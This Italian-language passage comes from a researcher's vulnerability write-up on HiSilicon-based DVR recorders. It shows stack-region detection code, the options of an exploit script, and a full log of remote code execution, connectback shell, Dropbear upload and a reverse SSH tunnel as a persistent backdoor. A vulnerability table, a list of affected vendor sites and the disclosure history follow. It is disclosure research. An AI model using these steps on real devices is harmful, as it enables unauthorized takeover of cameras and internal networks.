def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
----

dove `smaps[t][1][0]` è la dimensione dell'`t`-esima pagina piena, `smaps[t][1][1]` è l'RSS corrispondente.

Lo snippet fa parte dello script exploit completo che funziona automaticamente contro vari target HiSilicon con ASLR abilitato. Per una breve introduzione allo script:

----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")
----


=== post-sfruttamento

Cosa possiamo fare con questo RCE? Tutto. Ricorda, questo è un RCE non autorizzato che usa solo la porta 80/tcp del servizio web. Questa porta è comunemente inoltrata verso l'esterno, quindi se un attaccante sfrutta questo RCE, ottiene accesso alla LAN interna.

Il nostro script exploit ha alcune belle funzionalità, come la possibilità di caricare strumenti (precedentemente compilati) sul dispositivo vittima.

Se vogliamo creare una backdoor persistente e stabile, possiamo caricare un Dropbear, farlo ascoltare localmente e aprire un tunnel SSH inverso verso l'esterno. Con questa architettura, sarà possibile accedere al dispositivo DVR da qualsiasi luogo, in qualsiasi momento.$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----

Ora il dispositivo è accessibile tramite il tunnel inverso usando SSH:

----
$ ssh -p2322 root@localhost
root@localhost's password: 


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$ 
----


== sommario

Ecco le vulnerabilità documentate:

[cols="2,1,1,1,4",options="header",]
|=======================================================================
|vulnerabilità |rischio |servizio |scoperta |impatto
|password telnet hard-coded (backdoor) |alto |23/tcp |in precedenza da altri
|chiunque abbia accesso all'interfaccia telnet può assumere il pieno controllo
del dispositivo, anche se l'utente imposta password adeguate

|accesso root alla shell con qualsiasi account applicativo |alto |9527/tcp |da parte
dell'autore |chiunque possieda qualsiasi tipo di account applicativo e abbia accesso
alla console di servizio può elevare i privilegi fino al controllo completo (shell)
del dispositivo

|*password applicativa backdoor* |critico |80/tcp, 554/tcp |da parte
dell'autore |chiunque può accedere al dispositivo come amministratore applicativo, anche
se l'utente ha impostato password forti per proteggere il
dispositivo

|*buffer overflow nel webserver integrato* |critico |80/tcp |da parte
dell'autore |sfruttando il buffer overflow l'attaccante può ottenere l'esecuzione remota di codice come root
sul dispositivo (nessuna autenticazione richiesta), installare backdoor,
malware e altro materiale dannoso

|directory traversal |alto |80/tcp |in precedenza da altri(?) e da parte
dell'autore |accesso in lettura non autorizzato a tutto (es. flussi registrati)
sul dispositivo; aiuta anche a sfruttare il buffer overflow
|=======================================================================

Se qualcuno pensa che solo questo dispositivo del marchio "Seculink" sia affetto
da queste gravi vulnerabilità, si sbaglia. La gamma di dispositivi
interessati è molto ampia. Ogni dispositivo costruito con questo tipo
di hardware HiSilicon SoC è vulnerabile. Questi dispositivi condividono (quasi) lo stesso
firmware con questa applicazione binaria chiamata "Sofia". La vulnerabilità
sopra descritta (anche lo script completo) funziona quasi sempre in modo affidabile
senza modifiche su moltissimi hardware diversi.

Ecco un elenco (non completo) dei marchi interessati:

image::./brands_affected.png[marchi interessati]

http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/

In generale, si può dire che questi tipi di dispositivi IoT economici sono
incubi di sicurezza. Ogni dispositivo testato recentemente dall'autore presentava alcune
vulnerabilità gravi o critiche. Dal punto di vista di un pentester, la
raccomandazione è che questi tipi di dispositivi siano ben separati:
questi tipi di dispositivi non devono condividere la stessa rete con dati
importanti e riservati. Purtroppo non c'è una reale possibilità di ottenere aggiornamenti
con patch per tali firmware.

Infine, è importante sottolineare che questa vulnerabilità di buffer overflow
(con il codice PoC dell'exploit) è stata divulgata tramite il
programma https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) di https://www.beyondsecurity.com/[Beyond Security]. Il
fornitore (HiSilicon) è stato notificato (da Beyond Security) alla fine del
2016, ma non c'è stata alcuna risposta prima che la vulnerabilità fosse resa
pubblica (purtroppo è una cosa comune).

La divulgazione rilasciata a febbraio 2017 è disponibile
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[qui].

*AGGIORNAMENTO (2023-01-01):* Questa ricerca è citata da https://vulncheck.com/[VulnCheck]
(il 2022-11-30) in questo articolo sulla compromissione dei dispositivi Xiongmai
di https://twitter.com/Junior_Baines[Jacob Baines]:
https://vulncheck.com/blog/xiongmai-iot-exploitation
Scarica lo strumento